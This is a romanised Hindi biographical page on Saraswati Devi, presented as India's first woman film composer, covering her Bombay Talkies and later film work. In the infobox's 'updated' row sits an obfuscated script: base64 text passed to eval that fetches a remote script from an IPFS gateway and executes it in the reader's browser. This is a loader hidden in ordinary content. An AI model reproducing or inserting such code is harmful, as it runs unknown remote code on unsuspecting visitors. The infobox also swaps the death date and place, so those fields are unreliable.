सरस्वती देवी का फ़िल्मी कॅरियर
sarasvati devi ka filmi kॅriyar
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| poora nam | khurshid minokhar homaji |
| prasiddh nam | sarasvati devi |
| janm | 1912 |
| janm bhoomi | mumbee |
| mrityu | 10 agast |
| mrityu sthan | 1980 |
| karm bhoomi | mumbee |
| karm-kshetr | sangitakar (hiandi sinema) |
| mukhy filmean | 'jivan naiya', 'achhoot kanya', 'bandhan', 'naya sansar', 'prarthana', 'bhakt raidas', 'prithvi vallabh', 'khanadani', 'nakali hira', 'usha haran' |
| shiksha | sangit |
| vidyalay | m aauris k aaulej, lakhanoo |
| prasiddhi | bharat ki pahali mahila sangitakar |
| nagarikata | bharatiy |
| any janakari | sarasvati devi ki 1961 mean akhiri film rajasthani ki ‘basara ri ladi’ thi, isake bad unhoanne hiandi filmoan ko alavida kah diya aur sangit sikhane ka kam hath mean le liya. |
| adyatan | 15:54, 21 joon 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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1920 ke dashak mean jab mumbee mean rediyo steshan khula, to vahaan khurshid (sarasvati devi) apani bahan manek ke sath milakar homaji sistars ke nam se niyamit roop se sangit ke karyakram pesh kiya karati thian. unaka karyakram bahut lokapriy ho gaya tha. isi karyakram ki saphalata ko dekhate hue himaanshu ray ne jab b aaumbe t aaukij shuroo kiya, to unhoanne khurshid ko apane stoodiyo ke sangit kaksh mean bulaya aur usaka karyabhar unhean sauanp diya. yah ek chunauti bhara kam tha aur unhoanne ise svikar kar liya. vahian 'sarasvati devi' ke roop mean unaka naya namakaran bhi hua. unaki pahali film ka nam tha ‘javani ki hava’ isamean unaki bahan manek ne bhi chandraprabha ke nam se ek pramukh bhoomika nibhaee thian. pahali film 'javani ki hava' ke lie sangit taiyar karate hue sarasvati devi ko pata chal gaya tha ki yah asan kam nahian haian, kyoanki film ke nayak najamul husain aur nayika devika rani ko gane ka koee abhyas nahian tha. asan dhunoan ko bhi unase gavane mean khasi mehanat karani p d rahi thi. is film ka sirf ek hi gana gramophon rik aaurd par upalabdh hai. gane ke bol hai- ‘sakhi ri mohe prem ka sar bata de’. sangit vadyoan ke roop mean tabala, sarangi, sitar aur jalatarang ka istemal kiya gaya tha. is gane mean najamul husain aur devika rani ke alava chandraprabha ki avajean bhi haian.[1]
- plebaik siangiang ki shuruat
lekin jis film ne sarasvati devi ko sangitakar ke roop mean amar kar diya, vah thi 1936 mean bani unaki film 'achhoot kanya'. is film mean nau gane the. film ke sabhi gane shastriy ragoan par adharit the. film ka ek gana ‘kit ge ho khevanahar’ sarasvati devi ne khud gaya tha. darasal yah gana unaki bahan chandraprabha ko gana tha, lekin ain vakt par usaka gala kharab ho gaya. tab himaanshu ray ne hi unhean salah di ki vah khud is gane ko gaean aur parade par chandraprabha sirph hoanth hilae. ise ek tarah se ‘plebaik siangiang’ ki shuruat mana ja sakata hai. halaanki is samay tak kolakata ke nyoo thietars mean ray chandr boral bhi apani film ‘dhoop-chhaanv’ ke lie kuchh isi tarah ek gana gava chuke the. lekin film ka sabase lokapriy gana to raha, ashok kumar aur devika rani ka gaya ‘maian ban ki chi diyaan banake ban ban bolooan re’.
sarasvati devi ne apane sahayakoan ko bhi svatantr roop se sangit rachana ke lie protsahit kiya. film 'kangan' ke lie unake sahayak rah chuke ramachandr pal ne sangit taiyar kiya. is film ke lie git kavi pradip ne likhe. yah filmoan ki duniya mean unaki shuruat thi. film ke git sangit khase lokapriy hue. bad ki filmoan mean sarasvati devi ne doosare sangitakaroan ke sath milakar sangit dena shuroo kar diya. darasal sangit ab ne rang mean dhal raha tha aur sarasvati devi usake sath chalane ki bharasak koshish karate hue bhi pichhe chhoot rahi thian. b aaumbe t aaukij ke lie sarasvati devi ne karib bis filmean ki thian. unake lie sarasvati devi ki aantim film 1941 ki 'naya sansar' thi. ab tak ki filmoan mean es.en. tripathi unake arkestra ka sanchalan karate the aur bahut achchhi v aauyalin bajate the. sarasvati devi ke sath hi unhoanne bhi b aaumbe t aaukij chho d diya tha aur svatantr roop se sangitakar ke roop mean kam karane lage the.
b aaumbe t aaukij chhodऩe ke bad sarasvati devi ne kisi any stoodiyo mean naukari to nahian ki lekin unake lie filmean zaroor kian. minarva mooviton ke lie unhoanne chhah filmean ki thian. kuchh filmoan mean unhone akele hi sangit diya aur kuchh mean unake sath any sangitakar bhi the. 1943 mean unhoanne film ‘prarthana’ mean jani mani gayika jahaanara kajjan ke lie sangit taiyar kiya, to usi sal minarva mooviton ki film ‘prithvi vallabh’ mean raphik gajanavi ke lie gane ki dhun taiyar ki. 1945 mean unhoanne film 'amrapali' ke lie akele sangit taiyar kiya. isamean amir baee karnataki ne kuchh achchhe gane gae. lekin ab saph lagane laga tha ki vah samay se kahian pichh d rahi haian. unaki aantim lokapriy film 'oosha haran' (1949) thi, jisamean 12 gane the. isamean do gane lata mangeshakar ne bhi gae the. ise do pidhiy़oan ke do mahanoan ka sangam bhi man sakate haian. isake bad 1950 mean unaki film ‘baichalar pati’ aee thi. phir paanch sal ke bad 1955 mean film 'inam' ke lie unhoanne ek gane ki dhun taiyar ki thi. 1961 mean unaki akhiri film thi, rajasthani ki ‘basara ri ladi’. isake bad unhoanne filmoan ko alavida kahakar sangit sikhane ka kam hath mean le liya.
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tika tippani aur sandarbh
- ↑ pahali mahila sangitakar, sarasvati devi (hiandi) www.udayindia.in. abhigaman tithi: 15 joon, 2017.
sanbandhit lekh